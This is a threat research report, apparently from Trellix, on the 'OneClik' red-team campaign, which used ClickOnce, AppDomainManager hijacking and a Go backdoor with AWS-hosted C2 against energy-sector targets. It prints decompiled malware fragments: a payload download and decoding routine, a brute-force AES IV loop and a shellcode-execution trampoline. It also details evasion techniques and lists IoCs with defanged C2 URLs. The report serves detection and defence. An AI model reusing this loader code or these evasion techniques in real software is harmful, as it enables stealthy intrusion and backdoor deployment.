# OneClik: A ClickOnce-Based Red Team Campaign Simulating APT Tactics in Energy Infrastructure By Nico Paulo Yturriaga and Pham Duy Phuc · **Updated** : June 30, 2025 The Trellix Advanced Research Center previously uncovered what appeared to be a sophisticated APT malware campaign, which we dubbed OneClik. This activity mimicked tactics used by threat actors targeting the energy, oil, and gas sector, through phishing attacks and the exploitation of Microsoft ClickOnce. Following publication, it was confirmed that this activity was part of a controlled red team effort. Despite this, OneClik is notable for its realistic simulation of nation-state tradecraft. The campaign demonstrates how adversaries—or red teams emulating them—can use “living off the land” tactics, blending into trusted cloud and enterprise tooling to evade traditional detection mechanisms. The simulation unfolds across three distinct variants (v1a,BPI-MDM, andv1d), each using a .NET-based loader ("OneClikNet") to deploy a sophisticated Golanguage backdoor ("RunnerBeacon") that communicates with threat actor infrastructure hidden behind legitimate AWS cloud services [3] (CloudFront, API Gateway, Lambda). This makes network-based detection nearly impossible without decryption or deep behavioral analysis. Our analysis reveals how this campaign has progressively evolved with advanced evasion tactics and C2 obfuscation across each variant. Key findings include abuse of ClickOnce [1] to proxy execution, early injection via .NET AppDomainManager hijacking [2], and anti-analysis measures (anti-debugging loops and sandbox detection). ### ClickOnce abuse background ClickOnce is a Microsoft .NET deployment technology that allows self-updating applications to install and run from remote sources. Although intended for ease of deployment, adversaries can abuse ClickOnce for stealthy code execution [1]. ClickOnce apps launch under the Deployment Service (dfsvc.exe), enabling attackers to proxy execution of malicious payloads through this trusted host. Because ClickOnce applications run with user-level privileges (no user account control required), they offer an appealing delivery mechanism for threat actors aiming to avoid privilege escalation. In OneClik, attackers sent emails with links to a fake “hardware analysis” site. Visiting the site led to a ClickOnce manifest (an .application file)—cloaked as a legitimate tool—silently downloading and executing. Once launched, the ClickOnce loader injects malicious code via .NET configuration tampering. Specifically, the loader uses AppDomainManager hijacking (T1574.014) by crafting the .exe.config settings to load a remote malicious DLL at CLR startup [2]. This technique (“AppDomainManager injection”) causes the legitimate .NET executable (e.g.ZSATray.exe, umt.exe or ied.exe) to load an attacker-controlled assembly instead of its normal dependencies. With the loader in place, payload execution proceeds under dfsvc.exe, blending with benign ClickOnce activities. ### Infection chain and technical analysis ![Figure 1: Campaign infection chain](https://www.trellix.com/en-us/img/newsroom/stories/oneclick-1.jpg) Figure 1: Campaign infection chain The OneClik campaign’s infection chain unfolds in stages (Figure 1). In the _v1a_ variant, the victim visited a phishing link from an email (e.g. analysis.html on an Azure Blob Storage) fetched _[victim]_Hardware_Analysis_Tool.application_. This launched _[victim]_Hardware_Analysis_Tool.exe_ under dfsvc.exe, which in turn loaded a sidecar binary via compiled ClickOnce manifest (cdf-ms) hijack. That legitimate binary (ZSATray.exe) was then run with a tempered .config. This secondary stage downloaded a .NET DLL and an encrypted shellcode (download temp.dat and fav.ico base64 blob respectively) into memory, eventually injecting a Golang based backdoor (the _RunnerBeacon_). ![Figure 2: Hardware analysis tool phishing lure \(left\), and Click Once installation \(right\)](https://www.trellix.com/en-us/img/newsroom/stories/oneclick-2.jpg) ![Figure 2: Hardware analysis tool phishing lure \(left\), and Click Once installation \(right\)](https://www.trellix.com/en-us/img/newsroom/stories/oneclick-2-1.jpg) Figure 2: Hardware analysis tool phishing lure (left), and Click Once installation (right) ` **< dependentAssembly** **dependencyType****=****"****install****"** **codebase****=****"****https:// [victim].blob.core.windows.net/myit/[victim]_Hardware_Analysis_Tool****"** **size****=****"****3446****"****>** ` Code 1: A remote dependentAssembly object is referenced to execute as a ClickOnce application. In addition to remote malicious DLL side load in _v1a_ and _v1d_ , the loader employs AppDomainManager hijacking by embedding and entries in its .config (Code 2), pointing to a local malicious DLL in the archive (e.g. x64\history.tlb) in _BPI-MDM_. This causes the CLR to load the attacker DLL at startup, enabling code execution before the legitimate application runs. ` ** ** ` Code 2: Through AppDomainManager injection (T1574.014), a remote malicious library is side loaded upon execution of the ClickOnce application. **.NET Loader / Stager Behavior:** The initial loader (_OneClikNet_) is a .NET executable that implements a modular approach for both configuration and payload acquisition. It enumerates on how to obtain the victim ID through four methods: (i) downloading from a C2 server, (ii) reading from a local file, (iii) generating a SHA256 hash of a hardcoded string, or (iv) creating a machine-specific identifier by hashing the victim's computer name combined with a hardcoded string. Similarly, the payload (_omnol_ variable in Code 3) can be obtained through one of three methods: (i) downloading from C2, (ii) reading from a local file, or (iii) using an embedded payload in the binary. This flexible design allows the attacker to adapt multiple methods based on the target environment, while the machine-specific identifier option suggests specific targeting capabilities. `if (id_Config_Enum == Mish.ID_Config_Enum.Zero) { text = Mish.Download_from_C2(hardcoded, portTable); } else if (id_Config_Enum == Mish.ID_Config_Enum.One) { text = Mish.Read_from_File(hardcoded, portTable); } else if (id_Config_Enum == Mish.ID_Config_Enum.Two) { text = Mish.Generate_SHA256(hardcoded); } else if (id_Config_Enum == Mish.ID_Config_Enum.Three) { text = Mish.Generate_SHA256(Environment.MachineName.ToLower() + hardcoded); } else { Mish.Terminate(); } if (payload_Config_Enum == Mish.Payload_Config_Enum.Zero) { omnol = Mish.Download_from_C2(hardcoded2, portTable2); } else if (payload_Config_Enum == Mish.Payload_Config_Enum.One) { omnol = Mish.Read_from_File(hardcoded2, portTable2); } else if (payload_Config_Enum == Mish.Payload_Config_Enum.Two) { if (DuceButtsIn != HepiousDebally.String_Mapping_Decode("")) { omnol = DuceButtsIn; } else { omnol = HepiousDebally.String_Mapping_Decode(""); } } else { Mish.Terminate(); }` Code 3: OneClikNet loader with configurable victim ID generation and payload delivery methods. * To obtain the subsequent payload, it decrypts a base64-encoded blob using a hardcoded AES-128-CBC key/IV. Code 4 shows that the encrypted shellcode required a custom pre-processing (certain characters swapped before base64 decode). `char[] array = new char[] { '!','@','#','%','^','&','*','(',')','-' }; char[] array2 = new char[] { '7','3','O','E','r','4','c','G' }; uint num = 0U; while ((ulong)num < (ulong)((long)array2.Length)) { Omnol = Omnol.Replace(array2[(int)num], array[(int)num]); num += 1U; } Array.Reverse(array2); uint num2 = 0U; while ((ulong)num2 < (ulong)((long)array2.Length)) { Omnol = Omnol.Replace(array[(int)num2], array2[(int)num2]); num2 += 1U; } return Omnol;` Code 4: Character swap to pre-process the payload Thereafter, it performs a brute-force initialization vector (_iv)_ derivation for AES decryption by iterating through a large number range (1,000,000 to 99,999,999 in Code 5), generating SHA256 hashes of each number, using the hash output to create AES _iv_ , and then attempting decryption until it finds a match with an expected value (bytes2). This is done to avoid hardcoding the _iv_ inside the binary, to prevent detection or automated config extraction. However, the decryption key and IV were trivial (e.g., In _v1a_ variant: IV = SHA256(“1000000”), key = d49b78f7dff032f0…). Once decrypted, a dynamic .NET module is created containing x64 shellcode. This module is loaded into a new thread and executed via a small assembly trampoline (Code 6). `for (int i = 1000000; i <= 99999999; i++) { text3 = Mish. Generate_SHA256(i.ToString()); text3 = text3.Substring(0, num2); byte[] bytes2 = Encoding.ASCII.GetBytes(text3); ine.AES_Key(bytes); ine.AES_IV(bytes2); array4 = ine.AES_Decrypt(array2); Array.Copy(array4, array3, num2); if (bytes2.SequenceEqual(array3)) { Array.Copy(array4, num2, array2, 0, array4.Length - num2); break; } } ` Code 5: Brute-force key derivation for shellcode AES decryption and Checks integrity of decrypted data by verifying first 16 bytes (6cce36d9f8a9e151) The loader executes x64 shellcode is uncommon, by exploiting internal CLR mechanisms, while avoiding traditional methods like P/Invoke. This approach involves creating a dynamic module, crafting a trampoline (_jmpCode_) to redirect execution, and utilizing .NET's reflection capabilities to manipulate function pointers. Specifically, it leverages internal methods such as _System.StubHelpers.StubHelpers.GetNDirectTarget_ and _System.StubHelpers.MngdRefCustomMarshaler.CreateMarshaler_ to read and write arbitrary memory locations. By doing so, the loader achieves stealthy execution of unmanaged code without invoking standard APIs. This sophisticated technique is detailed in [4]. `private static void Gam(object HodiumEndoric) { byte[] array = (byte[])HodiumEndoric; byte[] jmpCode = new byte[] { 73,184,35,122,228,184,179,73,129,171,72,9,219,72,135,210,72,137,219,144,144,65,byte.MaxValue,224 }; /* 49:B8 8000B1CCF77F000 | mov r8,7FF7CCB10080 ; replaced with address of shellcode 48:09DB | or rbx,rbx 48:87D2 | xchg rdx,rdx 48:89DB | mov rbx,rbx 90 | nop 90 | nop 41:FFE0 | jmp r8 */ IntPtr functionPointerForDelegate = Marshal.GetFunctionPointerForDelegate(new Trampoline_Class.Anish(Trampoline_Class.Mes)); IntPtr intPtr = Trampoline_Class.DefineDynamicModule(array.Length); Trampoline_Class.CopyMemory(array, intPtr); GC.Collect(); Trampoline_Class.CopyMemory(jmpCode, functionPointerForDelegate); Trampoline_Class.WriteMemory(functionPointerForDelegate + 2, intPtr); ((Trampoline_Class.Jmp)Marshal.GetDelegateForFunctionPointer(functionPointerForDelegate, typeof(Trampoline_Class.Jmp)))(); }` Code 6: Invoking unmanaged code setup and trampoline * **Evasion Techniques:** Across three variants, multiple anti-analysis techniques were deployed. In _v1a_ , the loader relocates loaded modules (e.g. _ntdll.dll_ , _kernel32.dll_ , etc.) in memory to evade detection, and patches ETW by truncating the _EtwEventWrite_ /_NtTraceEvent_ functions (replacing by a _xor rax,rax; retn_). It also hides its window via _GetConsoleWindow_ /_ShowWindow(SW_HIDE)_. In the _BPI-MDM_ variant, significant additions appear. The .NET loader spins up a dedicated thread that periodically checks for debuggers. This loop calls managed and native checks (_Debugger.IsAttached_ , _CheckRemoteDebuggerPresent_ , and _NtQueryInformationProcess_(debugport 7) and exits if any debugger is found. Such anti-debugging is a known evasive tactic (ATT&CK T1622 [5]). In the _v1d_ variant, we observed more environment checks. The malicious DLL loaded by AppDomainManager performs sandbox/VM fingerprinting. It calls _NetGetJoinInformation_ and _NetGetAadJoinInformation_ to check if the host machine is domain-joined or Azure AD-joined. If neither check passes (typical for sandboxes), the malware terminates without executing. It also queries physical memory via _GlobalMemoryStatusEx_ , aborting if total RAM is below 8 GB (to avoid common low-resource analysis VMs). Finally, _v1d_ deletes its own .config file after loading, hampering forensic analysis. * **Stager/Shellcode Analysis:** The stager in _v1a_ is a compact x64 shellcode. It first resolves essential Windows APIs at runtime (via GetProcAddress and LoadLibraryA). Key APIs include memory management (_ZwAllocateVirtualMemory_ , NtProtectVirtualMemory, NtFreeVirtualMemory) and threading functions, writes the final payload, and spawns threads. The shellcode carries an embedded RC4 key (_FD DA 75 5E B4 98 45 BD A6 0B 84 D3 C9 B4 C0 CD_). After decrypting and zlib-decompressing the payload, it launches the Go-based backdoor into the target process. * **Beacon (Go backdoor) Analysis:** _RunnerBeacon_ is a Golang-implemented backdoor whose C2 protocol encrypts all traffic with RC4 and serializes data using MessagePack. Each message comprises a fixed header (plaintext length and type ID) and an RC4-encrypted body (_MessagePack_ payload). The initial beacon packet (_BeaconData_) carries system metadata (hostname, PID, OS/platform identifiers, etc.) along with dynamic status fields (we observed flags like “ _integrity_ ” and “ _upstream_ ” keys). The implant includes anti-analysis features such as an “ _obfuscate_and_sleep_ ” routine and randomized “ _jitter_ ” in beacon intervals to evade detection. Communications are highly versatile: RunnerBeacon can talk over HTTP(s), WebSockets, raw TCP and even SMB named-pipes. Notably, decompiled code imports the _vmihailenco/msgpack_ library for (un)marshaling and _gorilla/websocket_ for WebSocket handling. ![Figure 3: Hexdump of initial plaintext MessagePacked data before it is encrypted by RC4](https://www.trellix.com/en-us/img/newsroom/stories/oneclick-3.jpg) Figure 3: Hexdump of initial plaintext MessagePacked data before it is encrypted by RC4 * _RunnerBeacon_ uses a modular message protocol. A 1-byte message type precedes each payload to denote the structure: type 0=_BeaconData_ , 1=_BeaconResp_ ; 2=_FileRequest_ , 3=_FileResponse_ ; 4=_CommandRequest_ , 5=_CommandResponse_ ; 6=_StageRequest_ , 7=_StageResponse_ ; 8=_SOCKSRequest_ , 9=_SOCKSResponse_ ; 10=_FileUpload_ ; 0xB=_NoOP_ ; 0xC=_CompressedStageRequest_ , 0xD=_CompressedStageResponse_ ; 0xE=_OOBSOCKSRequest_ , 0xF=_OOBSOCKSResponse_. (For example, _FileUpload_ uses a _messaging_FileUpload_ struct, and _SOCKSRequests_ are used for proxying data.) This extensible design lets the backdoor add capabilities simply by new _MessagePack_ structs. _RunnerBeacon_ also checks for custom commands such as: exit (terminate), ival (callback interval modifications), stop (stop a task) and lists_tasks (enumerate running tasks). `__golang sub_32180B2E0(_ptr_core_Core a1) { __int64 v1; // rcx __int64 v2; // rbx …. switch ( **((_DWORD **)&v64 + 1) ) { case 'tixe': sub_32180B1C0(... case 'lavi': v83 = v63;... case 'pots': v88 = v63;... if ( **((_QWORD **)&v64 + 1) == 'sat_tsil' && *(_WORD *)(*((_QWORD *)&v64 + 1) + 8LL) == 'sk' ) ` Code 7: Parsing for Custom Commands The C2 server sends a _CommandRequest_ (MessagePack JSON), which the implant unmarshals and passes to the appropriate handler. Supported high-level commands include: executing shell commands (via _CreateProcessW_ with pipes); enumerating processes; file operations (directory listing, upload, download); network tasks such as port scanning across specified hosts/ports; and proxying (establishing a _SOCKS5_ tunnel). Advanced operations are also implemented: for example, it can stage and execute shellcode in a remote process (process injection) and perform token manipulation or impersonation to escalate privileges. Debug source-code symbol strings also revealed a username “ _runneradmin_ ”, leading us to dub this implant “ _RunnerBeacon_ ”, though that identifier isn’t exposed in the network protocol. ![Figure 4: RunnerBeacon’s list of features.](https://www.trellix.com/en-us/img/newsroom/stories/oneclick-4.jpg) Figure 4: RunnerBeacon’s list of features. * _RunnerBeacon’s_ design (Figure 4) closely parallels known Go-based Cobalt Strike beacons (e.g. the _Geacon_ /_Geacon plus_ /_Geacon Pro_ family). Like Geacon, the set of commands (shell, process enumeration, file I/O, proxying, etc.) and use of cross-protocol C2 are very similar. These structural and functional similarities suggest _RunnerBeacon_ may be an evolved fork or privately modified variant of _Geacon_ , tailored for stealthier, and cloud-friendly operations. ### Campaign infrastructure The campaign’s C2 infrastructure leverages legitimate AWS services for obfuscation. In _v1a_ , the beacon contacted a **CloudFront distribution** domain (dyydej4wei7fq.cloudfront[.]net) and an **API Gateway** endpoint (b2zei88b61.execute-api.eu-west-2[.]amazonaws.com), making the communications look like normal cloud usage and blends C2 into benign CDN traffic. CloudFront domains are often allowlisted in enterprise networks, hiding the attacker’s endpoint and IP. In the _v1d_ stage, AWS abuse evolved further. The beacon’s config pointed to an AWS Lambda function URL (.lambda-url.us-east-1.on.aws) as the HTTP callback address. The payload’s C2 flow (Figure 2) thus ran entirely through AWS-managed domains. Such use of AWS services (CloudFront, API Gateway, Lambda, S3, etc.) for C2 has been documented in recent research. By “hiding in the cloud,” attackers exploit the high trust and availability of AWS: defenders must decrypt SSL or denylist entire AWS domains to notice this traffic, which is often impractical. Network analysis showed normal TLS to the AWS domains, resembling typical HTTPS calls, making signature-based detection hard. ### Evolution (Comparative Features) The three samples show a clear progression of capabilities (Table 3). _v1a_ was the simplest: it used a static AES key/IV for payload decryption and minimal sandbox checks (window hiding, ETW patch) but no explicit anti-debugging loops. _BPI-MDM_ introduced a persistent debugger-check thread while loading the second stager from local rather than remote endpoint. _v1d_ added robust environment checks (domain/Azure AD and memory-size) and deleted its config files. All stages used .NET AppDomain hijacking. Notably, the C2 architecture also advanced: _v1a_ beaconed to CloudFront/API Gateway, whereas _v1d_ switched to a Lambda-backed endpoint. **Feature / Technique** | **_v1a_** | **_BPI-MDM_** | **_v1d_** ---|---|---|--- **AppDomainManager Injection (T1574.014)** | Yes (via ZSATray.exe.config) | Yes (via umt.exe.config) | Yes (via ied.exe.config) **Anti-Debugging** | Minimal | **Yes** (thread loop: Debugger.IsAttached & NtQueryInformationProcess) | (Similar to _BPI-MDM_) **Sandbox Checks** | Window hide, ETW patch | (Similar to _v1a_) | Domain/Azure AD join checks; Memory check **Backdoor (Beacon) C2** | AWS CloudFront/ API GW | AWS CloudFront | AWS Lambda (via Lambda URL) **Timeline of activity** | 2025-03-04: initial ClickOnce lure first observed | 2025-03-19: relevant sample first seen on VirusTotal | 2025-03-27: new variant detected Table 3. Feature comparison between v1a, BPI-MDM, and v1d samples. ### Threat intelligence attribution We also identified a variant of the _RunnerBeacon_ loader in a Middle Eastern oil and gas sector in September 2023. This unique variant shares over 99% code similarity with _OneClik’s RunnerBeacon_ component, although the delivery vector for that infection remains unknown. However, we have since confirmed that the OneClik infrastructure and tooling were used in a red team engagement. Notably, _OneClik’s_ use of a .NET-based loader, AppDomainManager hijacking, and in-memory decryption echoes techniques reported in Chinese APT operations. The following points summarize the major TTPs overlaps: 1. AppDomainManager Hijacking: Both _OneClik_ and campaigns such as Earth Baxia [6], AhnLab’s MSC file abuse case [7], and TGSoft's GrimResource [8] reporting use .NET AppDomainManager hijack to load malicious DLLs at CLR runtime. 2. Encrypted Payload Deployment: Base64-encoded and AES-encrypted shellcode loading via .NET loader is consistently used across ClickOne and Chinese APT-linked activity above. 3. Beacon-Like Backdoors: All campaigns ultimately deploy in-memory payloads with Cobalt Strike–style communication, using modular command sets and staging. 4. Cloud Infrastructure Abuse: [6]’s infrastructure included Alibaba cloud servers. In [7], the attack retrieved components from AWS S3 and an Alibaba/Aliyun endpoint. These patterns suggest a shared preference for cloud-based staging. Understanding these overlaps is critically important for defenders. By recognizing and mapping the TTPs of this campaign—such as ClickOne abuse, .NET AppDomainManager hijacking, cloud-based staging, and Golang beacons—defenders can proactively harden systems, improve detection logic, and prioritize controls against clusters of behavior known to be effective in the wild. ### Trellix detection **Product** | **Signature** ---|--- Trellix Endpoint Security (ENS) | Generic trojan.oaj trojan HTML/Phishing.zai trojan Generic trojan.oak trojan Generic trojan.oal trojan Trellix Endpoint Security (HX) | Trojan.Generic (43062870) Trellix Network Security Trellix VX Trellix Cloud MVX Trellix File Protect Trellix Malware Analysis Trellix SmartVision Trellix Email Security Trellix Detection As A Service Trellix NX | FEC_Trojan_XML_LongFarewell_1 FEC_Trojan_XML_InjectADM_1 FE_Trojan_MSIL_LongGoodbye_1 FE_Trojan_MSIL_LongGoodbye_2 FE_Trojan_Raw_Generic_30 FEC_Trojan_HTML_Generic_74 FE_Backdoor_Win64_Generic_15 Trojan.MSIL.Generic (33356941) Backdoor.Win.Generic (33356943) Policy ClickOnce Deployment Manifest Policy ClickOnce Deployment Manifest Process Trojan.HTML.Generic.MVX Trellix EDR | ZSATray, a user interface of Z App was executed from rogue location [T1036.005] DotNet ClickOnce installer deployed an application from a remote link [T1218.011, T1127.002] ClickOnce deployment initiated from a web hyperlink [T1127.002 .Net binary executed by the Microsoft DotNet ClickOnce Host (dfsvc) [T1036.005] .Net binary executed by the Microsoft DotNet ClickOnce Host (dfsvc.exe), potential AppDomain injection [T1036.005, T1574.014] ### Key behaviors: ATT&CK Techniques Category | ID | Technique | Description ---|---|---|--- Initial Access | T1566.002 | Phishing: Spearphishing Link | Targeted emails with links to fake "hardware analysis" site hosting ClickOnce deployment Execution | T1127.002 | Trusted Developer Utilities Proxy Execution: ClickOnce | Abuse of Microsoft ClickOnce to execute malicious code while bypassing security controls Defense Evasion | T1574.014 | Hijack Execution Flow: AppDomainManager | .NET AppDomainManager injection via malicious .config files to load attacker DLLs at CLR startup Defense Evasion | T1140 | Deobfuscate/Decode Files | Multi-layer encryption (AES, RC4) with custom pre-processing for shellcode and payload Defense Evasion | T1622 | Debugger Evasion | Anti-debugging thread loops, managed/native debugger checks in later variants Defense Evasion | T1562.006 | Impair Defenses: ETW | ETW patching by truncating EtwEventWrite/NtTraceEvent functions Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | HTTPS communications with MessagePack serialization over HTTP(S) and WebSockets Command and Control | T1102.002 | Web Service: Cloud API | C2 traffic through legitimate AWS CloudFront, API Gateway, and Lambda for blending with normal traffic ### Indicators of Compromise (IoCs) A comprehensive list of IoCs is provided below. Table 1 lists filenames (with SHA256) and URLs found in each sample’s staging chain. Table 2 lists C2 endpoints and config parameters. (All IPs resolved to AWS ranges.) SHA256 | Artifact / URL | Description ---|---|--- b06b1a5ea83d7f0883f9388c83359a738bc90e092f21f458232e2f98ed9810b6 | hxxps://[v1a-victim].blob.core.windows.net/myit/analysis.html | Phishing lure HTML (v1a) bea96cbf485f32fff1cf5cd9106ada542b978094f524f052f0391c3b916846df | [v1a]_Hardware_Analysis_Tool.application | ClickOnce manifest (v1a Loader) 296030c3a5c7422884d0fda4fbcef7d6cbb2270747190833692315977f7f3c7d | [v1a]_Hardware_Analysis_Tool.exe.cdf-ms | ClickOnce manifest (Compiled) e61d6e88f1f0068288bb0df226b433915ae295f040475d85f0960f1db0b43ca8 | [v1a]_Hardware_Analysis_Tool.exe.manifest | ClickOnce deployment & entry manifest 4007350e16856cb9bb1fc1ca6e359e00b0776a5d1229f83f54e730e1d67ddbce | ZSATray.cdf-ms | ClickOnce compiled manifest (RSRCH/.NET loader) 18f498b78b02050cbb80c75de035e1985adf8bc838665f0f8a22d3ed3304f73d | ZSATray.manifest | ClickOnce manifest (loader instructions) c045503e0cb85588097c6e2484a49c52251ed5e46e9bfc6c73574440534123c9 | ZSATray.exe.config | Malicious AppDomainManager config (v1a) 048ffb71a1e5abfd6b905b7a4a5171eabe560948963a8c0d6aa14a40d0f6b255 | temp.dat | _v1a_ Malicious .NET DLL _OneClikNet_ af8864bde7e2a3b6ff198939c8350c42cea51556b1bb8be6476650ae86c2e669 | (embedded in fav.ico) | _v1a_ encrypted shellcode d830f27b1dfc75ac50f89a9353fd8aa90103e9a53562475ab69e12d5969b70b2 | (Go payload in memory) | _v1a_ Go backdoor binary (“RunnerBeacon”) 4272b9bfc559d60c967fc5e8d17a61ab33aea14522fbfda1341f3953d7d1fb19 | BPI-MDM/desktop.ini | Encrypted payload container (_BPI-MDM_ stage) 403e7effd2ac31ebcf9181fb4851b309a4448079bd117a90d1e670ac235989de | BPI-MDM/umt.exe.config (inject) | Malicious AppDomainManager config (_BPI-MDM_) 0192212b4784ee4e483d162959daf89674cb98aaa6d065e1621a5d26e66a77f3 | BPI-MDM/x64/history.tlb (DLL) | Malicious .NET DLL loaded via config hijack (_BPI-MDM_) 2a07875fca7a9c15aa54e82a91800899effadda919e5548513c13586f2c3d7fc | hxxps://[v1d]support.blob.core.windows.net/check/systemcheck.application | ClickOnce manifest (v1d Loader) 949c3c79877ce6e4963131e0888c3de4b256bac1de28601c6b01bbfcce7865e0 | hxxps://[v1d]support.blob.core.windows.net/xpayload/ied.manifest | ClickOnce entry-point manifest (v1d) 86f6d5ebaeb5ea5ac3b952e38951658e716f6065ce5f689ab5cf62fd738525e9 | hxxps://[v1d]support.blob.core.windows.net/xpayload/ied.exe.config | .NET AppDomainManager config (v1d: loads checkimage1.png) 83f21a03db7cd2c621da3af0b40f6d39e2562af10b59cedfbc46868b054ffac7 | hxxps://[v1d]support.blob.core.windows.net/xpayload/checkimage1.png | Malicious .NET DLL _OneClikNet_ 0b61707d1fc8821a95c899de0304a55d549c7252ca24d5978f0989f9593a79c2 | (Go payload in memory) | _v1d_ Go backdoor binary (“RunnerBeacon”) f2c6a9eed870d312be3b7c51998c5326fab17e999d0004931ff84b25233bc9b1 | | RunnerBeacon payload detected in 2023 ea38f13b9ef3ce8351f64ad3685d5fa5fb35e507c71002560f12b24b8c8b546b | ZSATray.exe | **Legitimate** ZSATray binary used in _v1a_ 8facceb0b15bbf061ae9ebcb3b97980d90d774c035ece434e4653299afc7babc | BPI-MDM/umt.exe (Citrix UMT, benign) | **Legitimate** Citrix utility used in _BPI-MDM_ b3dd3b9e8c999fe0e1273a52288af65e1f0997a587f3aa2f13e2a0e6f4383f22 | ied.exe | **Legitimate** Imaging Edge Desktop used in _v1d_ Table 1. IoCs: Sample hashes and URLs used across v1a, BPI-MDM, and v1d stages. Indicator | Type | Description ---|---|--- hxxps://dyydej4wei7fq.cloudfront[.]net | URL (C2) | CloudFront URL used for beacon callbacks (_v1a_) hxxps://b2zei88b61.execute-api.eu-west-2.amazonaws[.]com | URL (C2) | AWS API Gateway endpoint (_v1a_) hxxps://d1ismqgtp337lz.cloudfront[.]net | URL (C2) | CloudFront (_BPI-MDM_) hxxps://dzxwmpi8xepml.cloudfront[.]net | URL (C2) | CloudFront (_BPI-MDM_) hxxps://7dqtdjxfycaqhjvc2qmx5js4aq0juygw.lambda-url.us-east-1.on[.]aws | URL (C2) | AWS Lambda function URL (_v1d_) watermark: fdda755e-b498-45bd-a60b-84d3c9b4c0cd | Config | Unique agent watermark/identifier (RunnerBeacon _v1a_) fc924c91-bdbd-431a-bb6a-00dfe61f741a | Config | _BPI-MDM_ 7d5d82e3-9113-4cc4-9d1c-953eb2048282 | Config | _v1d_ kill_date: 2025-05-31T00:00:00-04:00 | Config | Beacon expiration (_v1d)_ User-Agent: “Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko” | Config | HTTP header used by beacon to mimic IE11/Trident traffic (v1a/d) User-Agent: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36” | Config | _BPI-MDM_ Table 2. C2 domains and beacon configuration parameters observed. ### References [1] MITRE ATT&CK®, "Trusted Developer Utilities Proxy Execution: ClickOnce, Sub-technique T1127.002 - Enterprise," [Online]. Available: https://attack.mitre.org/techniques/T1127/002/. [2] MITRE ATT&CK®, "Hijack Execution Flow: AppDomainManager, Sub-technique T1574.014," [Online]. Available: https://attack.mitre.org/techniques/T1574/014/. [3] B. Caudill, "Hiding in the Cloud: Cobalt Strike Beacon C2 using Amazon APIs," Rhino Security Labs, [Online]. Available: https://rhinosecuritylabs.com/aws/hiding-cloudcobalt-strike-beacon-c2-using-amazon-apis/. [4] A. Chester, "Weird Ways to Run Unmanaged Code in .NET," xpnsec, [Online]. Available: https://blog.xpnsec.com/weird-ways-to-execute-dotnet/. [5] MITRE ATT&CK®, "Debugger Evasion, Technique T1622," [Online]. Available: https://attack.mitre.org/techniques/T1622/. [6] C. T. P. L. S. L. P. C. Ted Lee, "Earth Baxia Uses Spear-Phishing and GeoServer Exploit to Target APAC," TrendMicro, 09 2024. [Online]. Available: https://www.trendmicro.com/en_us/research/24/i/earth-baxia-spear-phishing-and-geoserver-exploit.html. [7] ahnlab, "Distribution of MSC File Exploiting Amazon Service," 8 2024. [Online]. Available: https://asec.ahnlab.com/en/82707/. [8] tgsoft, "Chinese APT abuses MSC files with GrimResource vulnerability," 2024. [Online]. Available: https://www.tgsoft.it/news/news_archivio.asp?id=1568&lang=eng. Discover the latest cybersecurity research from the Trellix Advanced Research Center: https://www.trellix.com/advanced-research-center/ This document and the information contained herein describes computer security research for educational purposes only and the convenience of Trellix customers.

Query Builder